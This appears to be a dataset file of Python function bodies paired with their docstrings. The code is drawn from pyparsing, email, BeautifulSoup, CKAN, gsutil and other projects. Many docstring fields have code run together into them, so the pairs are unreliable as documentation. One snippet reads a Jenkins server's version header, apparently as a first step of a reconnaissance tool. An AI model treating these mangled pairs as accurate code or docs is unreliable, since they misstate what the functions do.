255.255.255.255``)\"\n\n _ipv6_part = Regex(r'[0-9a-fA-F]{1,4}').setName(\"hex_integer\")\n _full_ipv6_address = (_ipv6_part + (':' + _ipv6_part) * 7).setName(\"full IPv6 address\")\n _short_ipv6_address = (Optional(_ipv6_part + (':' + _ipv6_part) * (0, 6))\n + \"::\"\n + Optional(_ipv6_part + (':' + _ipv6_part) * (0, 6))\n ).setName(\"short IPv6 address\")\n _short_ipv6_address.addCondition(lambda t: sum(1 for tt in t if pyparsing_common._ipv6_part.matches(tt)) < 8)\n _mixed_ipv6_address = (\"::ffff:\" + ipv4_address).setName(\"mixed IPv6 address\")\n ipv6_address = Combine((_full_ipv6_address | _mixed_ipv6_address | _short_ipv6_address).setName(\"IPv6 address\")).setName(\"IPv6 address\")\n \"IPv6 address (long, short, or mixed form)\"\n\n mac_address = Regex(r'[0-9a-fA-F]{2}([:.-])[0-9a-fA-F]{2}(?:\\1[0-9a-fA-F]{2}){4}').setName(\"MAC address\")\n \"MAC address xx:xx:xx:xx:xx (may also have '-' or '.' delimiters)\"\n\n @staticmethod", "nl": "Helper parser action to replace common HTML entities with their special charactersreturn _htmlEntityMap.get(t.entity)# it's easy to get these comment structures wrong - they're very common, so may as well make them availablecStyleComment = Combine(Regex(r\"/\\*(?:[^*]|\\*(?!/))*\") + '*/').setName(\"C style comment\")\"Comment of the form ``/* ... */``\"htmlComment = Regex(r\"\").setName(\"HTML comment\")\"Comment of the form ````\"restOfLine = Regex(r\".*\").leaveWhitespace().setName(\"rest of line\")dblSlashComment = Regex(r\"//(?:\\\\\\n|[^\\n])*\").setName(\"// comment\")\"Comment of the form ``// ... (to end of line)``\"cppStyleComment = Combine(Regex(r\"/\\*(?:[^*]|\\*(?!/))*\") + '*/' | dblSlashComment).setName(\"C++ style comment\")\"Comment of either form :class:`cStyleComment` or :class:`dblSlashComment`\"javaStyleComment = cppStyleComment\"Same as :class:`cppStyleComment`\"pythonStyleComment = Regex(r\"#.*\").setName(\"Python style comment\")\"Comment of the form ``# ... (to end of line)``\"_commasepitem = Combine(OneOrMore(Word(printables, excludeChars=',')+ Optional(Word(\" \\t\")+ ~Literal(\",\") + ~LineEnd()))).streamline().setName(\"commaItem\")commaSeparatedList = delimitedList(Optional(quotedString.copy() | _commasepitem, default=\"\")).setName(\"commaSeparatedList\")(Deprecated) Predefined expression of 1 or more printable words or"} {"code": "def private_numbers(self):\n\n @abc.abstractmethod", "nl": "Returns an EllipticCurvePrivateNumbers."} {"code": "def __get_version(self):\n\n response = requests.request(\"GET\", self.url)\n version = response.headers['X-Jenkins']\n if version != \"\":\n color_output(\"[+]....jenkins version is %s\" % version)\n self.user_link = ASYNCH_PEOPEL_PERFIX\n else:\n color_output(\"[-]....can't get jenkins version!\")\n sys.exit()\n", "nl": "get jenkins version:return:"} {"code": "def unsubscribe(service, nodeIdentifier, subscriber):\n", "nl": "Unsubscribe from a node with a given JID.@param service: The publish-subscribe service entity.@type service: L{JID}@param nodeIdentifier: Identifier of the node to unsubscribe from.@type nodeIdentifier: C{unicode}@param subscriber: JID to unsubscribe from the node.@type subscriber: L{JID}@rtype: L{Deferred}"} {"code": "def make_config(pargs, parser):\n pdict = pargs.__dict__\n key_list = pdict.keys()\n arg_list = [pdict[k] for k in key_list]\n Config = namedtuple('Config', key_list)\n nt_config = Config(*arg_list)\n return nt_config\n\nparsed_args, parser = parse_args()\nconfig = make_config(parsed_args, parser)\nprint('Random testing using config={}'.format(config))\n\nstart = time.time()\nelapsed = time.time()-start\n\nt = SUT.t()\n\ncovertool.clearCoverage()\n\nntests = 0\nwhile (config.maxtests == -1) or (ntests < config.maxtests):\n ntests += 1\n\n t.restart()\n test = []\n\n print ntests, len(covertool.getTotalCoverage())\n\n for s in xrange(0,config.depth):\n possible = t.enabled()\n random.shuffle(possible)\n old = t.state()\n last = min(config.k, len(possible))\n pos = 0\n cov = covertool.getCoverage()\n for (name, guard, act) in possible[:config.k]:\n elapsed = time.time()-start\n if elapsed > config.timeout:\n print \"EXITING DUE TO TIMEOUT\"\n print ntests, \"EXECUTED\"\n sys.exit(2)\n pos += 1\n test.append(name)\n try:\n act()\n except:\n pass\n if not t.check():\n print \"FAILING TEST:\", test\n sys.exit(1)\n covNew = covertool.getCoverage()\n if len(covNew) > len(cov):\n elapsed = time.time()-start\n print \"FOUND NEW BRANCH\", elapsed, len(covNew)\n break\n if pos == last:\n break\n covertool.setCoverage(cov)\n t.backtrack(old)\n\nprint ntests, \"EXECUTED\"\n\n", "nl": "Process the raw arguments, returning a namedtuple object holding theentire configuration, if everything parses correctly."} {"code": "def test_no_op_coords_transforms(self):\n _trans_name = \"NoOpTransform\"\n params = ()\n\n for coords, param in itertools.product(\n TestTransforms._coords_provider(), params\n ):\n gt_transformer = getattr(self, \"{}_coords_gt\".format(_trans_name))\n transformer = getattr(T, _trans_name)(*param)\n\n result = transformer.apply_coords(np.copy(coords))\n coords_gt, shape_gt = gt_transformer(np.copy(coords), *param)\n\n self.assertEqual(\n shape_gt,\n result.shape,\n \"transform {} failed to pass the shape check with\"\n \"params {} given input with shape {}\".format(\n _trans_name, param, result.shape\n ),\n )\n self.assertTrue(\n np.allclose(result, coords_gt),\n \"transform {} failed to pass the value check with\"\n \"params {} given input with shape {}\".format(\n _trans_name, param, result.shape\n ),\n )\n", "nl": "Test NoOpTransform.."} {"code": "def _parseArgs():\n \"\"\"", "nl": " Parse command-line args helpString = (\"%prog\\n\"\"Periodically checks for unmapped screen names and sends email \"\"notifications to report them if they haven't already been reported. This \"\"script is intended to run as a service under supervisord or similar.\\n\"\"/!\\ This script depends on the following environment variables:\\n\"\"* TAURUS_TWITTER_CONSUMER_KEY: Twitter consumer key.\\n\"\"* TAURUS_TWITTER_CONSUMER_SECRET: Twitter consumer secret.\\n\"\"* TAURUS_TWITTER_ACCESS_TOKEN: Twitter access token.\\n\"\"* TAURUS_TWITTER_ACCESS_TOKEN_SECRET: Twitter access token secret.\\n\"\"* ERROR_REPORT_EMAIL_AWS_REGION: AWS region for error report email.\\n\"\"* ERROR_REPORT_EMAIL_SES_ENDPOINT: SES endpoint for error report email.\\n\"\"* ERROR_REPORT_EMAIL_SENDER_ADDRESS: Sender address for error report \"\"email.\\n\"\"* AWS_ACCESS_KEY_ID: AWS access key ID for error report email.\\n\"\"* AWS_SECRET_ACCESS_KEY: AWS secret access key for error report email.\\n\"\"* ERROR_REPORT_EMAIL_RECIPIENTS: Recipients error report email. Email \"\"addresses need to be comma separated.\\n\"\" Example => 'recipient1@numenta.com, \"\"recipient2@numenta.com'\\n\")parser = OptionParser(helpString)_, remainingArgs = parser.parse_args()if remainingArgs:parser.error(\"Unexpected remaining args: %r\" % (remainingArgs,))def main(): NOTE: main may be used as \"console script\" entry point by setuptools"} {"code": "def encode(self, splitchars=';, '):\n newchunks = []\n maxlinelen = self._firstlinelen\n lastlen = 0\n for s, charset in self._chunks:\n targetlen = maxlinelen - lastlen - 1\n if targetlen < charset.encoded_header_len(''):\n targetlen = maxlinelen\n newchunks += self._split(s, charset, targetlen, splitchars)\n lastchunk, lastcharset = newchunks[-1]\n lastlen = lastcharset.encoded_header_len(lastchunk)\n return self._encode_chunks(newchunks, maxlinelen)\n\n\n", "nl": "Encode a message header into an RFC-compliant format.There are many issues involved in converting a given string for use inan email header. Only certain character sets are readable in mostemail clients, and as header strings can only contain a subset of7-bit ASCII, care must be taken to properly convert and encode (withBase64 or quoted-printable) header strings. In addition, there is a75-character length limit on any given encoded header field, soline-wrapping must be performed, even with double-byte character sets.This method will do its best to convert the string to the correctcharacter set used in email, and encode and line wrap it safely withthe appropriate scheme for that character set.If the given charset is not known or an error occurs duringconversion, this function will return the header untouched.Optional splitchars is a string containing characters to split longASCII lines on, in rough support of RFC 2822's `highest levelsyntactic breaks'. This doesn't affect RFC 2047 encoded lines."} {"code": "def free_optimize(self, loss):\n params = self.params\n names = self.optimizers.keys()\n optimizers = [self.optimizers[k] for k in names]\n if params.amp == -1:\n for optimizer in optimizers:\n optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm > 0:\n for name in names:\n clip_grad_norm_(self.parameters[name], params.clip_grad_norm)\n\n for optimizer in optimizers:\n optimizer.step()\n else:\n if self.n_iter % params.accumulate_gradients == 0:\n with apex.amp.scale_loss(loss, optimizers) as scaled_loss:\n scaled_loss.backward()\n if params.clip_grad_norm > 0:\n for name in names:\n clip_grad_norm_(apex.amp.master_params(self.optimizers[name]), params.clip_grad_norm)\n for optimizer in optimizers:\n optimizer.step()\n optimizer.zero_grad()\n else:\n with apex.amp.scale_loss(loss, optimizers, delay_unscale=True) as scaled_loss:\n scaled_loss.backward()\n", "nl": "Optimize."} {"code": "def configure_light(self, number: str, subtype: str, config, platform_settings: dict) -> \"LightPlatformInterface\":\n if subtype in (\"gi\", \"matrix\", \"led\", \"flasher\") or not subtype:\n return [\n {\n \"number\": str(number)\n }\n ]\n else:\n raise AssertionError(\"Unknown subtype {}\".format(subtype))", "nl": "Configure a VPX light.del configif subtype and subtype not in (\"gi\", \"matrix\", \"led\", \"flasher\"):raise AssertionError(\"Unknown subtype: {}\".format(subtype))if not subtype:subtype = \"matrix\"number = str(number)key = number + \"-\" + subtypelight = VirtualPinballLight(key, subtype, number, self.machine)self._lights[key] = lightself._last_lights[key] = Falsereturn lightdef parse_light_number_to_channels(self, number: str, subtype: str):Parse channel str to a list of channels."} {"code": "def test_find_all_text_nodes(self):\n soup = self.soup(\"12345\")\n self.assertSelects(soup.find_all('a', limit=3), [\"1\", \"2\", \"3\"])\n self.assertSelects(soup.find_all('a', limit=1), [\"1\"])\n self.assertSelects(\n soup.find_all('a', limit=10), [\"1\", \"2\", \"3\", \"4\", \"5\"])\n\n self.assertSelects(\n soup.find_all('a', limit=0), [\"1\", \"2\", \"3\", \"4\", \"5\"])\n", "nl": "You can search the tree for text nodes.soup = self.soup(\"Foobar\\xbb\")# Exact match.self.assertEqual(soup.find_all(string=\"bar\"), [\"bar\"])self.assertEqual(soup.find_all(text=\"bar\"), [\"bar\"])# Match any of a number of strings.self.assertEqual(soup.find_all(text=[\"Foo\", \"bar\"]), [\"Foo\", \"bar\"])# Match a regular expression.self.assertEqual(soup.find_all(text=re.compile('.*')),[\"Foo\", \"bar\", '\\xbb'])# Match anything.self.assertEqual(soup.find_all(text=True),[\"Foo\", \"bar\", '\\xbb'])def test_find_all_limit(self):You can limit the number of items returned by find_all."} {"code": "def render_groups_headers(self, first_object_on_page=False):\n\n self._groups_working_values = self._groups_values\n\n new_page = False\n for group in self.report.groups:\n if self._groups_changed.get(group, None):\n if group.band_header and group.band_header.visible:\n new_page = self.force_blank_page_by_height(self.calculate_size(group.band_header.height))\n", "nl": "Renders the report headers using 'changed' definition calculated by'calc_changed_groups'"} {"code": "def _resolve_url(self, *args):\n pageobj_name = self.__class__.__name__\n\n if hasattr(self, 'uri'):\n uri_type = 'template' if re.search('{.+}', self.uri) else 'plain'\n else:\n raise exceptions.UriResolutionError(\"Page object \\\"%s\\\" must have a \\\"uri\\\" attribute set.\" % pageobj_name)\n\n if self._is_url_absolute(self.uri):\n raise exceptions.UriResolutionError(\n \"Page object \\\"%s\\\" must not have an absolute \\\"uri\\\" attribute set. Use a relative URL \"\n \"instead.\" % pageobj_name)\n\n\n if self.baseurl is None:\n raise exceptions.UriResolutionError(\"To open page object, \\\"%s\\\" you must set a baseurl.\" % pageobj_name)\n\n elif len(args) > 0 and hasattr(self, \"uri\") and self._is_url_absolute(self.uri):\n\n raise exceptions.UriResolutionError(\"The URI Template \\\"%s\\\" in \\\"%s\\\" is an absolute URL. \"\n \"It should be relative and used with baseurl\" %\n (self.uri, pageobj_name))\n\n if len(args) > 0:", "nl": "Figures out the URL that a page object should open at.Called by open()."} {"code": "def run(self, n_jobs=N_CORES):\n if n_jobs > 1:\n POOL = ProcessPoolExecutor(n_jobs)\n self._run(POOL)\n else:\n self._run(ThreadPoolExecutor(1))\n\n @staticmethod", "nl": "Responsible for ensuring every active featurizer is applied to every active dataset.Featurization is parallelized by default, with `n_jobs` set to number of cores specified inconfig.py. If n_jobs is set to 1 or less, featurization is run in a single threaded setting."} {"code": "def reset(cls, pos, data):\n op = lambda n, index: n & (cls.bit_size - index)\n return cls.chars_in_order[cls._op(pos, data, op)]\n\n @classmethod", "nl": "\"resets\" a pixel in a block characterArgs:- pos (2-sequence): coordinate of the pixel inside the character(0,0) is top-left corner, and so on)- data: initial character to be composed with the bit to be reset."} {"code": "def __matmul__(self, other):\n return self.dot(other)\n", "nl": "Matrix multiplication using binary `@` operator in Python>=3.5."} {"code": "def print_all_taps(self):\n print \"print_all_taps() is deprecated.\"\n\n", "nl": ":return:"} {"code": "def plot_sqlite_db(sqliteConnection: Engine, analyze: bool = False):\n db_name = os.path.splitext(os.path.basename(sqliteConnection.url.database))[0]\n schema_name = []\n schema_name.append(db_name)\n if analyze:\n sqliteConnection.execute(\"ANALYZE\")\n try:\n version_sql = pd.read_sql(\"\"\"select sqlite_version();\"\"\", sqliteConnection)\n sqliteConnection,\n )\n table_row_sql = pd.read_sql(\n \"\"\"select DISTINCT tbl_name AS table_name, CASE WHEN stat is null then 0 else cast(stat as INT) END row_count\n sqliteConnection,\n )\n all_cols = pd.read_sql(\n \"\"\"SELECT tbl_name as table_name, p.name as col_name, p.type as type,", "nl": "Query SQLite database and returns dictionaries for database tables, views, and metadata for database.sql_engineSQL Alchemy Engine object returned from create_engine() with an url passedanalyzeWhether to execute ANALYZE to write database statistics to the database"} {"code": "def test_subclassAdapterRegistrationForInterface(self):\n return self._subclassAdapterRegistrationForClassOrInterface(ITest2)\n\n\n\nclass IProxiedInterface(Interface):\n \"\"\"\n\n ifaceAttribute = Attribute(\"\"\"\n", "nl": "Test that an adapter to a particular interface can be registeredfrom both an interface and its subclass."} {"code": "def __swallowRequestExceptions(fn):\n @functools.wraps(fn)", "nl": " Decorator to swallow known exceptions: use with _friendlyAuthError,returns non-None if an exception occurred"} {"code": "def test_to_yaml(self):\n \"\"\"", "nl": "Tests conversion of dict to yaml representation.obj = {'xxx': u'abcd'}self.assertEqual(yaml.dump(obj), u'{xxx: abcd}\\n')@unittest.skipUnless(sys.platform.startswith('linux'), 'Requires Linux')@mock.patch('os.closerange', mock.Mock(spec_set=True))@mock.patch('os.listdir', mock.Mock(spec_set=True))@mock.patch('resource.getrlimit', mock.Mock(spec_set=True))def test_closefrom(self):Tests sane execvp wrapper."} {"code": "def replace(self, pf):\n if pf.isDefinedAt(self):\n return pf(self)\n else:\n return EngineConfig(self.name,\n self.method,\n self.inputPlaceholder,\n self.outputPlaceholder,\n [x.replace(pf) for x in self.begin],\n [x.replace(pf) for x in self.action],\n [x.replace(pf) for x in self.end],\n dict((k, v.replace(pf)) for k, v in self.fcns.items()),\n self.zero,\n self.merge,\n dict((k, v.replace(pf)) for k, v in self.cells.items()),\n dict((k, v.replace(pf)) for k, v in self.pools.items()),\n self.randseed,\n self.doc,\n self.version,\n self.metadata,\n self.options,\n self.pos)\n", "nl": "Walk over tree applying a partial function, returning a transformed copy of the tree.:type pf: callable with ``isDefinedAt`` method:param pf: partial function that takes any titus.pfaast.Ast as an argument, returning a replacement titus.pfaast.Ast:type pf.isDefinedAt: callable:param pf.isDefinedAt: domain that takes any titus.pfaast.Ast as an argument, returning ``True`` if this item is in the domain, ``False`` otherwise:rtype: new titus.pfaast.Ast tree:return: tree with nodes in the ``pf`` function's domain transformed; everything else left as-is"} {"code": "def __init__(self, score='obs',verbose=None):\n\n Args:\n data (pandas.DataFrame): DataFrame containing the data\n graph (networkx.Graph): Skeleton of the graph to orient\n\n Returns:\n networkx.DiGraph: Solution given by the GES algorithm.\n\n \"\"\"", "nl": "Init the model and its available arguments.if not RPackages.pcalg:raise ImportError(\"R Package pcalg is not available.\")super(GES, self).__init__()self.scores = {'int': 'GaussL0penIntScore','obs': 'GaussL0penObsScore'}self.arguments = {'{FOLDER}': '/tmp/cdt_ges/','{FILE}': os.sep + 'data.csv','{SKELETON}': 'FALSE','{GAPS}': os.sep + 'fixedgaps.csv','{SCORE}': 'GaussL0penObsScore','{VERBOSE}': 'FALSE','{OUTPUT}': os.sep + 'result.csv'}self.verbose = SETTINGS.get_default(verbose=verbose)self.score = scoredef orient_undirected_graph(self, data, graph):Run GES on an undirected graph."} {"code": "def test_explains_reply_to_must_be_list(self):\n self.message.reply_to = gettext_lazy(\"single-reply-to@example.com\")\n with self.assertRaisesMessage(TypeError, '\"reply_to\" attribute must be a list or other iterable'):\n self.message.send()\n", "nl": "reply_to must be a list (or other iterable), not a single string# Django's EmailMessage.__init__ catches this and warns, but isn't# involved if you assign attributes later. Anymail should catch that case.# (This also applies to to, cc, and bcc, but Django stumbles over those cases# in EmailMessage.recipients (called from EmailMessage.send) before# Anymail gets a chance to complain.)self.message.reply_to = \"single-reply-to@example.com\"with self.assertRaisesMessage(TypeError, '\"reply_to\" attribute must be a list or other iterable'):self.message.send()def test_explains_reply_to_must_be_list_lazy(self):Same as previous tests, with lazy strings"} {"code": "def __getitem__(self, key):\n\t\texpand teacher prection to batch size\n\t\t'''", "nl": " Get a batch with index. if not isinstance(key, int):raise TypeErrorif key < 0 or key >= len(self.data):raise IndexErrorbatch = self.data[key]return batchdef __iter__(self):for i in range(self.__len__()):yield self.__getitem__(i)def reshuffle(self):# data = [y for x in self.data for y in x]# self.data = self.chunk_batches(data)random.shuffle(self.data)def true_reshuffle(self):data = [y for x in self.data for y in x]self.data = self.chunk_batches(data)random.shuffle(self.data)def get_subtoken_length(self,sentence):return len(self.tokenizer.tokenize(sentence.to_tokenized_string()))def chunk_batches(self, data, sort_data = True):res = []# sort sentences (roughly) by length for better memory utilizationif sort_data:if self.use_bert:# pdb.set_trace()if self.grouped_data:# pdb.set_trace()data = sorted(data, key = lambda x: self.get_subtoken_length(x[0]))else:data = sorted(data, key = lambda x: self.get_subtoken_length(x))else:if self.grouped_data:data = sorted(data, key = lambda x: len(x[0]))else:data = sorted(data, key = lambda x: len(x))# lengths = [len(x) for x in data]current = []currentlen = 0for x in data:# avoid too many sentences makes OOMif self.grouped_data:if self.use_bert:len_val=self.get_subtoken_length(x[0])else:len_val=len(x[0])# pdb.set_trace()# if (len(x[0]) + currentlen > self.batch_size) or len(current) > self.batch_size/10.0:if (len_val + currentlen > self.batch_size):res.append(current)current = []currentlen = 0elif self.sentence_level_batch:if len(current) >= self.batch_size:res.append(current)current = []currentlen = 0else:if self.use_bert:len_val=self.get_subtoken_length(x)else:len_val=len(x)# if (len(x) + currentlen > self.batch_size) or len(current) > self.batch_size/10.0:if (len_val + currentlen > self.batch_size):res.append(current)current = []currentlen = 0current.append(x)if self.grouped_data:if self.use_bert:len_val=self.get_subtoken_length(x[0])else:len_val=len(x[0])currentlen += len_valelse:if self.use_bert:len_val=self.get_subtoken_length(x)else:len_val=len(x)currentlen += len_valif currentlen > 0:res.append(current)return resdef assign_embeddings(self):input_data=self.datafor batch_no, batch in enumerate(input_data):max_len=-1max_char_len = []for sentence in batch:if len(sentence)>max_len:max_len=len(sentence)for embedding in self.model.embeddings.embeddings:if 'Char' in embedding.name:max_char_len.append(max([len(w.text) for w in sentence]))batch = BatchedData(batch)for embedding in self.model.embeddings.embeddings:if 'Word:' in embedding.name:word_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'lemma' in embedding.name:lemma_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'pos' == embedding.name:pos_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'Char' in embedding.name:char_tensor = torch.zeros([len(batch),max_len,max(max_char_len)],device='cpu').long()char_length_tensor = torch.ones([len(batch),max_len],device='cpu').long()for s_id, sentence in enumerate(batch):if 'Word:' in embedding.name:words=self._get_word_id(embedding.vocab, sentence)word_tensor[s_id][:len(sentence)]=wordsif 'Char' in embedding.name:chars, char_lens=self._get_char_idx(embedding.char_dictionary, sentence)char_tensor[s_id][:len(sentence),:chars.shape[0]] = chars.transpose(0,1)char_length_tensor[s_id][:len(sentence)]=char_lensif 'lemma' in embedding.name:lemmas=self._get_word_id(embedding.lemma_dictionary, sentence, attr = 'lemma')lemma_tensor[s_id][:len(sentence)]=lemmasif 'pos' == embedding.name:poses=self._get_word_id(embedding.pos_dictionary, sentence, attr = 'pos')pos_tensor[s_id][:len(sentence)]=posesif 'Word:' in embedding.name:setattr(batch,embedding.name+'words',word_tensor)if 'lemma' in embedding.name:setattr(batch,embedding.name,lemma_tensor)if 'pos' == embedding.name:setattr(batch,embedding.name,pos_tensor)if 'Char' in embedding.name:# (char_size, batch*word)setattr(batch,'char_seqs',char_tensor.reshape(-1,char_tensor.shape[-1]).transpose(1,0))# (batch*word)setattr(batch,'char_lengths',char_length_tensor.reshape(-1))setattr(batch,'max_sent_len',max_len)input_data[batch_no]=batchdef assign_tags(self,tag_type,tag_dictionary,teacher_input=None,grouped_data=False):if teacher_input is not None:input_data=[teacher_input]else:input_data=self.datafor batch_no, batch in enumerate(input_data):tag_list: List = []max_len=-1max_char_len = []for sentence in batch:if grouped_data:sentence = sentence[1]if len(sentence)>max_len:max_len=len(sentence)for embedding in self.model.embeddings.embeddings:if 'Char' in embedding.name:max_char_len.append(max([len(w.text) for w in sentence]))batch = BatchedData(batch)for embedding in self.model.embeddings.embeddings:if 'Word:' in embedding.name:word_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'lemma' in embedding.name:lemma_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'pos' == embedding.name:pos_tensor = torch.zeros([len(batch),max_len],device='cpu').long()if 'Char' in embedding.name:char_tensor = torch.zeros([len(batch),max_len,max(max_char_len)],device='cpu').long()char_length_tensor = torch.ones([len(batch),max_len],device='cpu').long()for s_id, sentence in enumerate(batch):if 'Word:' in embedding.name:words=self._get_word_id(embedding.vocab, sentence)word_tensor[s_id][:len(sentence)]=wordsif 'lemma' in embedding.name:lemmas=self._get_word_id(embedding.lemma_dictionary, sentence, attr = 'lemma')lemma_tensor[s_id][:len(sentence)]=lemmasif 'pos' == embedding.name:poses=self._get_word_id(embedding.pos_dictionary, sentence, attr = 'pos')pos_tensor[s_id][:len(sentence)]=posesif 'Char' in embedding.name:chars, char_lens=self._get_char_idx(embedding.char_dictionary, sentence)char_tensor[s_id][:len(sentence),:chars.shape[0]] = chars.transpose(0,1)char_length_tensor[s_id][:len(sentence)]=char_lensif 'Word:' in embedding.name:setattr(batch,embedding.name+'words',word_tensor)if 'lemma' in embedding.name:setattr(batch,embedding.name,lemma_tensor)if 'pos' == embedding.name:setattr(batch,embedding.name,pos_tensor)if 'Char' in embedding.name:# (char_size, batch*word)setattr(batch,'char_seqs',char_tensor.reshape(-1,char_tensor.shape[-1]).transpose(1,0))# (batch*word)setattr(batch,'char_lengths',char_length_tensor.reshape(-1))setattr(batch,'max_sent_len',max_len)for s_id, sentence in enumerate(batch):# get the tags in this sentence# pdb.set_trace()if hasattr(sentence[0],'system_preds'):system_preds=[x.system_preds for x in sentence]system_scores=[x.system_scores for x in sentence]num_candiates = len(system_preds[0])for val in system_preds:assert num_candiates == len(val)if tag_type == 'enhancedud' or tag_type == 'srl':pdb.set_trace()elif tag_type == 'dependency':pdb.set_trace()else:# pdb.set_trace()gold_preds = [token.get_tag(tag_type).value for token in sentence]tag_template = torch.zeros(max_len, num_candiates,device='cpu')score_template = torch.zeros(max_len, num_candiates,device='cpu')for token_id, system_pred in enumerate(system_preds):score_template[token_id] = torch.Tensor(system_scores[token_id]).type_as(score_template)for sys_id, pred in enumerate(system_pred):if pred == gold_preds[token_id]:tag_template[token_id][sys_id] = 1else:tag_template[token_id][sys_id] = 0setattr(sentence,tag_type+'_system_preds',tag_template)setattr(sentence,tag_type+'_system_scores',score_template)# pdb.set_trace()if tag_type=='enhancedud' or tag_type=='srl':relations=[token.get_tag(tag_type).value.split('|') for token in sentence]arc_template = torch.zeros([max_len,max_len],device='cpu',dtype=torch.int32)rel_template = torch.zeros([max_len,max_len],device='cpu',dtype=torch.int32)for index, relation_group in enumerate(relations):if index==0:continuefor head_rel in relation_group:if head_rel == '_':continueheadid = int(head_rel.split(':')[0])relid = tag_dictionary.get_idx_for_item(':'.join(head_rel.split(':')[1:]))arc_template[index,headid] = 1rel_template[index,headid] = relid# for rel in relations:# if len(rel)>1:# pdb.set_trace()setattr(sentence,tag_type+'_arc_tags',arc_template)setattr(sentence,tag_type+'_rel_tags',rel_template)elif tag_type=='dependency':arcs: List[int] = [token.head_id for token in sentence]rels: List[int] = [tag_dictionary.get_idx_for_item(token.get_tag(tag_type).value) for token in sentence]# add tags as tensorarc_template = torch.zeros(max_len,device='cpu')arcs = torch.tensor(arcs, device='cpu')arc_template[:len(sentence)]=arcsrel_template = torch.zeros(max_len,device='cpu')rels = torch.tensor(rels, device='cpu')rel_template[:len(sentence)]=relssetattr(sentence,tag_type+'_arc_tags',arc_template)setattr(sentence,tag_type+'_rel_tags',rel_template)elif tag_type == 'ner_dp':# if len(sentence)==2:# pdb.set_trace()arc_template = torch.zeros([max_len,max_len],device='cpu')rel_template = torch.zeros([max_len,max_len],device='cpu')*tag_dictionary.item2idx[str('None').encode('utf-8')]sent_length = len(sentence.tokens)#set 'None' label target.rel_template[:sent_length, :sent_length] = tag_dictionary.item2idx[str('None').encode('utf-8')]arc_template = torch.tril(arc_template, diagonal=0)rel_template = torch.tril(rel_template, diagonal=0)# pdb.set_trace()#from sentence span info get gold ner matrix representation. template entry is ner label index.spanlist = sentence.get_spans(tag_type='ner_dp')for span in spanlist:try:tag_idx = tag_dictionary.item2idx[str(span.tag).encode('utf-8')]except:pdb.set_trace()n_tokens = len(span.tokens)if n_tokens > 1:start_idx = span.tokens[0].idxend_idx = span.tokens[-1].idxelse:start_idx = end_idx = span.tokens[0].idxtry:arc_template[end_idx-1, start_idx-1] = 1rel_template[end_idx-1, start_idx-1] = tag_idxexcept:pdb.set_trace()# pdb.set_trace()setattr(sentence,tag_type+'_arc_tags',arc_template)setattr(sentence,tag_type+'_rel_tags',rel_template)else:tag_idx: List[int] = [tag_dictionary.get_idx_for_item(token.get_tag(tag_type).value)for token in sentence]# add tags as tensortag_template = torch.zeros(max_len,device='cpu')tag = torch.tensor(tag_idx, device='cpu')tag_template[:len(sentence)]=tagsetattr(sentence,tag_type+'_tags',tag_template)# pdb.set_trace()if tag_type=='enhancedud' or tag_type=='dependency' or tag_type=='srl' or tag_type=='ner_dp':arc_tags=torch.stack([getattr(sentence,tag_type+'_arc_tags') for sentence in batch],0)rel_tags=torch.stack([getattr(sentence,tag_type+'_rel_tags') for sentence in batch],0)setattr(batch,tag_type+'_arc_tags',arc_tags)setattr(batch,tag_type+'_rel_tags',rel_tags)else:tag_list=torch.stack([getattr(sentence,tag_type+'_tags') for sentence in batch],0).long()setattr(batch,tag_type+'_tags',tag_list)if teacher_input is None:self.data[batch_no]=batchelse:input_data[batch_no]=batchif teacher_input is not None:return input_dataelse:returndef expand_teacher_predictions(self):"} {"code": "def f1_score(prediction, ground_truth):\n return normalize_answer(prediction) == normalize_answer(ground_truth)\n\n", "nl": "Compute the geometric mean of precision and recall for answer tokens.prediction_tokens = normalize_answer(prediction).split()ground_truth_tokens = normalize_answer(ground_truth).split()common = Counter(prediction_tokens) & Counter(ground_truth_tokens)num_same = sum(common.values())if num_same == 0:return 0precision = 1.0 * num_same / len(prediction_tokens)recall = 1.0 * num_same / len(ground_truth_tokens)f1 = (2 * precision * recall) / (precision + recall)return f1def exact_match_score(prediction, ground_truth):Check if the prediction is a (soft) exact match with the ground truth."} {"code": "def test_versioning(self):\n bucket_uri = self.CreateBucket()\n obj_uri = self.CreateObject(bucket_uri=bucket_uri, contents=b'foo')\n etag = obj_uri.get_key().etag.strip('\"\\'')\n @Retry(AssertionError, tries=3, timeout_secs=1)", "nl": "Tests listing a versioned bucket.bucket1_uri = self.CreateBucket(test_objects=1)bucket2_uri = self.CreateVersionedBucket(test_objects=1)self.AssertNObjectsInBucket(bucket1_uri, 1, versioned=True)bucket_list = list(bucket1_uri.list_bucket())objuri = [self.StorageUriCloneReplaceKey(bucket1_uri, key).versionless_urifor key in bucket_list][0]self.RunGsUtil(['cp', objuri, suri(bucket2_uri)])self.RunGsUtil(['cp', objuri, suri(bucket2_uri)])# Use @Retry as hedge against bucket listing eventual consistency.@Retry(AssertionError, tries=3, timeout_secs=1)def _Check2():stdout = self.RunGsUtil(['ls', '-a', suri(bucket2_uri)],return_stdout=True)self.assertNumLines(stdout, 3)stdout = self.RunGsUtil(['ls', '-la', suri(bucket2_uri)],return_stdout=True)self.assertIn('%s#' %self.StorageUriCloneReplaceName(bucket2_uri, bucket_list[0].name),stdout)self.assertIn('metageneration=', stdout)_Check2()def test_etag(self):Tests that listing an object with an etag."} {"code": "def test_activity_after_before(self):\n dataset = self._create_dataset_with_activities(updates=4)\n\n db_activities = package_activity_list(dataset[\"id\"], limit=10)\n pkg_activities = helpers.call_action(\n \"package_activity_list\",\n id=dataset[\"id\"],\n before=db_activities[1].timestamp.timestamp(),\n after=db_activities[4].timestamp.timestamp(),\n offset=1,\n )\n assert len(pkg_activities) == 1\n assert pkg_activities[0][\"activity_type\"] == \"changed package\"\n pkg_activity_time = datetime.datetime.fromisoformat(\n pkg_activities[0][\"timestamp\"]\n )\n assert pkg_activity_time == db_activities[3].timestamp\n\n\n@pytest.mark.ckan_config(\"ckan.plugins\", \"activity\")\n@pytest.mark.usefixtures(\"clean_db\", \"with_plugins\")\nclass TestUserActivityList(object):", "nl": "Test activities before timestampdataset = self._create_dataset_with_activities()db_activities = package_activity_list(dataset[\"id\"], limit=10)pkg_activities = 